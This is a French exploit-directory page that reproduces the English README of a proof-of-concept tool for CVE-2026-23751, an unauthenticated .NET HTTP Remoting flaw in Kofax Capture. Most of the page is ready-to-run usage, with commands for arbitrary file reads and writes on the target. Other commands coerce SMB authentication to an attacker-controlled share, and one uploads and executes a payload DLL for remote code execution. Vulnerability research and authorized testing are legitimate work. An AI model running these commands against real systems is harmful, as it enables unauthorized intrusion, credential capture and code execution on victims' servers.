Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23751-poc — Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write, Remote Code Execution and SMB coercion via .NET HTTP Remoting) | Kitploit
Outils/GitHubGitHub/siebrum/cve-2026-23751-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubsiebrum/cve-2026-23751-poc

CVE-2026-23751-poc

Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write, Remote Code Execution and SMB coercion via .NET HTTP Remoting)

Voir le dépôt
4il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2026-23751-PoC

Proof-of-concept implementation of the .NET HTTP Remoting technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture.

CVE-2026-23751

Title: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting

CVE: CVE-2026-23751

Authors of this PoC (not the CVE): Filip Sanders, Siebren Kraak

Description

CVE-2026-23751 affects Tungsten Automation Kofax Capture and allows an unauthenticated remote attacker to interact with a .NET HTTP Remoting endpoint exposed by the Kofax Capture ACService.

The vulnerability can be abused to perform operations in the security context of the Kofax Capture service, including:

  • Unauthenticated arbitrary file reads
  • Unauthenticated arbitrary file writes
  • SMB authentication coercion
  • Access to local files accessible to the Kofax Capture service
  • Access to remote files through UNC paths
  • Remote command execution

The PoC reimplements the relevant .NET Remoting technique from Code White's NewRemotingTricks project.

Affected Endpoint

The PoC targets the Kofax Capture ACService HTTP Remoting endpoint:

root@kitploit:~
http://<target>:2424/ACService

Port 2424 is the default HTTP Remoting port used by the affected service.

Usage

The PoC supports three operations:

root@kitploit:~
read
write
exec

The general syntax is:

root@kitploit:~
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]

Read a local file

The following example reads the Windows hosts file from the target:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts

A Kofax Capture configuration file can similarly be read:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml

Remote resources can also be accessed using a file:// URI:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

The contents returned by the remote WebClient are written to standard output.

Write a local file

A file can be written to a location accessible by the Kofax Capture service by supplying the target path followed by the content:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld

The supplied content is encoded as UTF-8 and uploaded using the remotely instantiated WebClient.

Write to a remote SMB share

The same functionality can be used with a UNC path to write to a remote SMB share:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld

The ability to access the remote resource depends on the permissions and security context of the Kofax Capture service.

SMB coercion

The read operation can be used with a remote file:// resource to cause the target to access an attacker-controlled SMB resource:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

This can cause the affected host to authenticate to the attacker-controlled SMB server, depending on the target environment and its security configuration.

Command execution

The exec operation can be used to execute a supplied .NET assembly in the context of the remote Kofax Capture service.

The assembly is first uploaded to the target and then loaded using a remotely instantiated AssemblyInstaller:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll

The supplied path is used as the destination for the uploaded assembly and subsequently passed to the remote AssemblyInstaller. The assembly is loaded server-side and installed through the .NET Framework installation mechanism.

After execution, the PoC reads the execution output from:

root@kitploit:~
C:\Windows\Temp\pwn_out.txt

The exact behavior of the payload depends on the contents of Payload.dll.

Technical Background

The vulnerability involves the use of .NET HTTP Remoting by Kofax Capture's ACService.

.NET Remoting provides mechanisms for communicating with remote MarshalByRefObject instances. By interacting with the exposed remoting endpoint and manipulating the logical call context, the PoC can obtain remote instances of .NET Framework classes that inherit from MarshalByRefObject.

The PoC uses this behavior to obtain remote instances of:

root@kitploit:~
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller

A remotely instantiated WebClient can then be used to perform file-system and network operations from the context of the Kofax Capture service.

For command execution, the PoC uploads Payload.dll using the remote WebClient, obtains a remote AssemblyInstaller, sets its assembly path, and invokes the installation mechanism. This causes the supplied assembly to be loaded and executed on the target.

The PoC therefore demonstrates the following primitives:

  • Remote instantiation of MarshalByRefObject instances
  • Arbitrary file reads
  • Arbitrary file writes
  • Access to UNC/SMB resources
  • SMB authentication coercion
  • Loading and execution of a supplied .NET assembly

The write functionality currently operates on UTF-8 encoded string data. Additional file types and payload formats can be supported by modifying the source code.

Requirements

  • Windows
  • .NET Framework
  • Network access to the target's Kofax Capture ACService
  • Kofax Capture instance exposing the affected HTTP Remoting endpoint
  • RemotingClient_MBRO_Lazy.exe
  • Payload.dll when using the exec operation

No authentication to the Kofax Capture service is required for exploitation.

Project Structure

root@kitploit:~
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│   └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│   └── Shared.dll
├── Payload/
│   └── Payload.dll
└── README.md

References

  • CVE-2026-23751 — Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
  • Code White — NewRemotingTricks

Authors

Filip Sanders

Siebren Kraak

Disclaimer

This repository is provided for security research, vulnerability validation, and authorized penetration testing purposes only.

Do not use this PoC against systems without explicit authorization. The authors are not responsible for damage, data loss, unauthorized access, or other consequences resulting from misuse of this software.

Télécharger l’outil